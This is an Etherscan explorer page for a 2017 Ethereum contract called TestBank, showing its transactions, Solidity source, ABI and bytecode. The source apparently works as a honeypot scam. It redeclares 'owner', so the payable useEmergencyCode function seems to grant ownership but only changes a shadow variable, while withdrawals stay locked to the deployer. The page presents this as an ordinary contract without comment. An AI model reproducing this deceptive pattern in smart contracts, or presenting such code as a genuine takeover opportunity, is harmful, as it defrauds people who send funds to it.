ETH Price: $3,416.98 (+0.08%)
Gas: 50 Gwei

Contract

0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Withdraw49534152018-01-22 17:18:372231 days ago1516641517IN
0x70C01853...95f6CaFd9
0 ETH0.000030221
Withdraw48494362018-01-03 21:53:592250 days ago1515016439IN
0x70C01853...95f6CaFd9
0 ETH0.0006663122
Deposit48137322017-12-28 17:51:122256 days ago1514483472IN
0x70C01853...95f6CaFd9
0.22 ETH0.0004575220
Use Emergency Co...46077172017-11-23 15:39:072291 days ago1511451547IN
0x70C01853...95f6CaFd9
0 ETH00
Transfer46070982017-11-23 13:12:512292 days ago1511442771IN
0x70C01853...95f6CaFd9
0.12 ETH0.000022491
Set Emergency Co...46070812017-11-23 13:08:392292 days ago1511442519IN
0x70C01853...95f6CaFd9
0 ETH0.000063221
0x6060604046070582017-11-23 13:03:432292 days ago1511442223IN
 Create: TestBank
0 ETH0.000243941

Latest 2 internal transactions

Advanced mode:
Parent Txn Hash Block From To Value
49534152018-01-22 17:18:372231 days ago1516641517
0x70C01853...95f6CaFd9
0.04 ETH
48494362018-01-03 21:53:592250 days ago1515016439
0x70C01853...95f6CaFd9
0.3 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TestBank

Compiler Version
v0.4.18+commit.9cf6e910

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2017-11-23
*/

pragma solidity ^0.4.18;

contract Owned {
    address public owner;
    function Owned() { owner = msg.sender; }
    modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}

contract TestBank is Owned {
    event BankDeposit(address from, uint amount);
    event BankWithdrawal(address from, uint amount);
    address public owner = msg.sender;
    uint256 ecode;
    uint256 evalue;

    function() public payable {
        deposit();
    }

    function deposit() public payable {
        require(msg.value > 0);
        BankDeposit(msg.sender, msg.value);
    }

    function setEmergencyCode(uint256 code, uint256 value) public onlyOwner {
        ecode = code;
        evalue = value;
    }

    function useEmergencyCode(uint256 code) public payable {
        if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
    }

    function withdraw(uint amount) public onlyOwner {
        require(amount <= this.balance);
        msg.sender.transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"code","type":"uint256"},{"name":"value","type":"uint256"}],"name":"setEmergencyCode","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"code","type":"uint256"}],"name":"useEmergencyCode","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"from","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"BankDeposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"from","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"BankWithdrawal","type":"event"}]

606060405260018054600160a060020a033316600160a060020a031991821681179092556000805490911690911790556102308061003e6000396000f3006060604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416632e1a7d4d811461006b57806385511d5f146100815780638da5cb5b1461009a578063a70f101c146100c9575b6100696100d4565b005b341561007657600080fd5b610069600435610127565b341561008c57600080fd5b61006960043560243561018d565b34156100a557600080fd5b6100ad6101b3565b604051600160a060020a03909116815260200160405180910390f35b6100696004356101c2565b600034116100e157600080fd5b7fd2cad255828c6a11390781271ed9c840b1e7bb3828e52f54ade2e47e921c1a943334604051600160a060020a03909216825260208201526040908101905180910390a1565b60005433600160a060020a0390811691161461014257600080fd5b600160a060020a0330163181111561015957600080fd5b600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561018a57600080fd5b50565b60005433600160a060020a039081169116146101a857600080fd5b600291909155600355565b600154600160a060020a031681565b600254811480156101d4575060035434145b1561018a57506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555600a165627a7a72305820e23bcbb58da5bdb7a089c6ef510d27e262ef14522c84e7e1fe091848733d277d0029

Deployed Bytecode

0x6060604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416632e1a7d4d811461006b57806385511d5f146100815780638da5cb5b1461009a578063a70f101c146100c9575b6100696100d4565b005b341561007657600080fd5b610069600435610127565b341561008c57600080fd5b61006960043560243561018d565b34156100a557600080fd5b6100ad6101b3565b604051600160a060020a03909116815260200160405180910390f35b6100696004356101c2565b600034116100e157600080fd5b7fd2cad255828c6a11390781271ed9c840b1e7bb3828e52f54ade2e47e921c1a943334604051600160a060020a03909216825260208201526040908101905180910390a1565b60005433600160a060020a0390811691161461014257600080fd5b600160a060020a0330163181111561015957600080fd5b600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561018a57600080fd5b50565b60005433600160a060020a039081169116146101a857600080fd5b600291909155600355565b600154600160a060020a031681565b600254811480156101d4575060035434145b1561018a57506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555600a165627a7a72305820e23bcbb58da5bdb7a089c6ef510d27e262ef14522c84e7e1fe091848733d277d0029

Swarm Source

bzzr://e23bcbb58da5bdb7a089c6ef510d27e262ef14522c84e7e1fe091848733d277d

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Txn Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.